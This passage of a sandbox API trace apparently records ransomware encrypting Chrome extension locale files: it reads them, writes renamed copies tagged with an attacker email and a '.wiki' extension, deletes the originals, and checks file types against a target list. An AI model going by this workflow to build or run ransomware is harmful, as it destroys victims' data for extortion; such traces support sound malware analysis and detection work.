Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json")) returned 0x2020 [0172.326] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.326] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.326] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.326] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.326] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.328] GetLastError () returned 0x0 [0172.328] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xdd, lpOverlapped=0x0) returned 1 [0172.329] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0172.330] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.330] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.330] SetEndOfFile (hFile=0x19c) returned 1 [0172.330] CloseHandle (hObject=0x19c) returned 1 [0172.331] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.331] SetEndOfFile (hFile=0x1a0) returned 1 [0172.331] CloseHandle (hObject=0x1a0) returned 1 [0172.331] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.332] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json")) returned 1 [0172.332] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0172.332] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0172.332] lstrlenW (lpString=".doc") returned 4 [0172.332] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.332] lstrlenW (lpString=".docx") returned 5 [0172.332] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.332] lstrlenW (lpString=".pdf") returned 4 [0172.332] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.332] lstrlenW (lpString=".xls") returned 4 [0172.332] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.332] lstrlenW (lpString=".xlsx") returned 5 [0172.332] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.332] lstrlenW (lpString=".ppt") returned 4 [0172.333] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.333] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0172.333] lstrlenW (lpString=".zip") returned 4 [0172.333] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.333] lstrlenW (lpString=".rar") returned 4 [0172.333] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.333] lstrlenW (lpString=".bz2") returned 4 [0172.333] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.333] lstrlenW (lpString=".7z") returned 3 [0172.333] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.333] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0172.333] lstrlenW (lpString=".dbf") returned 4 [0172.333] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.333] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0172.333] lstrlenW (lpString=".1cd") returned 4 [0172.333] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.333] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0172.333] lstrlenW (lpString=".jpg") returned 4 [0172.333] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.333] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0172.333] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0172.333] lstrlenW (lpString=".doc") returned 4 [0172.333] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.333] lstrlenW (lpString=".docx") returned 5 [0172.333] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.333] lstrlenW (lpString=".pdf") returned 4 [0172.333] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.333] lstrlenW (lpString=".xls") returned 4 [0172.333] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.334] lstrlenW (lpString=".xlsx") returned 5 [0172.334] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.334] lstrlenW (lpString=".ppt") returned 4 [0172.334] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.334] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0172.334] lstrlenW (lpString=".zip") returned 4 [0172.334] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.334] lstrlenW (lpString=".rar") returned 4 [0172.334] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.334] lstrlenW (lpString=".bz2") returned 4 [0172.334] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.334] lstrlenW (lpString=".7z") returned 3 [0172.334] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.334] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0172.334] lstrlenW (lpString=".dbf") returned 4 [0172.334] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.334] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0172.334] lstrlenW (lpString=".1cd") returned 4 [0172.334] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.334] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\nl\\messages.json") returned 151 [0172.334] lstrlenW (lpString=".jpg") returned 4 [0172.334] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.334] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.334] lstrlenW (lpString="messages.json") returned 13 [0172.334] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.335] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=203) returned 1 [0172.335] CloseHandle (hObject=0x1a0) returned 1 [0172.335] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json")) returned 0x2020 [0172.335] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.335] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.335] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.335] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.335] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.336] GetLastError () returned 0x0 [0172.336] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xcb, lpOverlapped=0x0) returned 1 [0172.338] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xd0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xd0, lpOverlapped=0x0) returned 1 [0172.339] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.339] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.339] SetEndOfFile (hFile=0x19c) returned 1 [0172.340] CloseHandle (hObject=0x19c) returned 1 [0172.340] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.340] SetEndOfFile (hFile=0x1a0) returned 1 [0172.341] CloseHandle (hObject=0x1a0) returned 1 [0172.341] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0172.341] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json")) returned 1 [0172.341] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json") returned 151 [0172.341] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json") returned 151 [0172.341] lstrlenW (lpString=".doc") returned 4 [0172.341] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.341] lstrlenW (lpString=".docx") returned 5 [0172.341] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.341] lstrlenW (lpString=".pdf") returned 4 [0172.341] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.341] lstrlenW (lpString=".xls") returned 4 [0172.341] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.341] lstrlenW (lpString=".xlsx") returned 5 [0172.341] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.342] lstrlenW (lpString=".ppt") returned 4 [0172.342] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.342] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json") returned 151 [0172.342] lstrlenW (lpString=".zip") returned 4 [0172.342] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.342] lstrlenW (lpString=".rar") returned 4 [0172.342] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.342] lstrlenW (lpString=".bz2") returned 4 [0172.342] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.342] lstrlenW (lpString=".7z") returned 3 [0172.342] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.342] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json") returned 151 [0172.342] lstrlenW (lpString=".dbf") returned 4 [0172.342] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.342] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json") returned 151 [0172.342] lstrlenW (lpString=".1cd") returned 4 [0172.342] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.342] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json") returned 151 [0172.342] lstrlenW (lpString=".jpg") returned 4 [0172.342] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.342] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json") returned 151 [0172.342] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json") returned 151 [0172.342] lstrlenW (lpString=".doc") returned 4 [0172.342] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0172.342] lstrlenW (lpString=".docx") returned 5 [0172.343] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0172.343] lstrlenW (lpString=".pdf") returned 4 [0172.343] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0172.343] lstrlenW (lpString=".xls") returned 4 [0172.343] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0172.343] lstrlenW (lpString=".xlsx") returned 5 [0172.343] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0172.343] lstrlenW (lpString=".ppt") returned 4 [0172.343] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0172.343] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json") returned 151 [0172.343] lstrlenW (lpString=".zip") returned 4 [0172.343] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0172.343] lstrlenW (lpString=".rar") returned 4 [0172.343] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0172.343] lstrlenW (lpString=".bz2") returned 4 [0172.343] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0172.343] lstrlenW (lpString=".7z") returned 3 [0172.343] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0172.343] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json") returned 151 [0172.343] lstrlenW (lpString=".dbf") returned 4 [0172.343] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0172.343] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json") returned 151 [0172.343] lstrlenW (lpString=".1cd") returned 4 [0172.343] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0172.343] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\no\\messages.json") returned 151 [0172.343] lstrlenW (lpString=".jpg") returned 4 [0172.343] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0172.344] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0172.344] lstrlenW (lpString="messages.json") returned 13 [0172.344] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.344] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=217) returned 1 [0172.344] CloseHandle (hObject=0x1a0) returned 1 [0172.344] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json")) returned 0x2020 [0172.344] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0172.344] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0172.345] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.345] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.345] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\pl\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0172.345] GetLastError () returned 0x0 [0172.345] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xd9, lpOverlapped=0x0) returned 1 [0172.346] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe0, lpOverlapped=0x0) returned 1 [0172.347] ReadFile (in: hFile=0x1a0, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0172.347] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0172.347] SetEndOfFile (hFile=0x19c) returned 1 [0172.347] CloseHandle (hObject=0x19c) returned 1 [0172.347] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0172.347] SetEndOfFile (hFile=0x1a0) returned 1 [0172.348] CloseHandle (hObject=0x1a0) returned 1 [0172.348] SetFileAttributesW 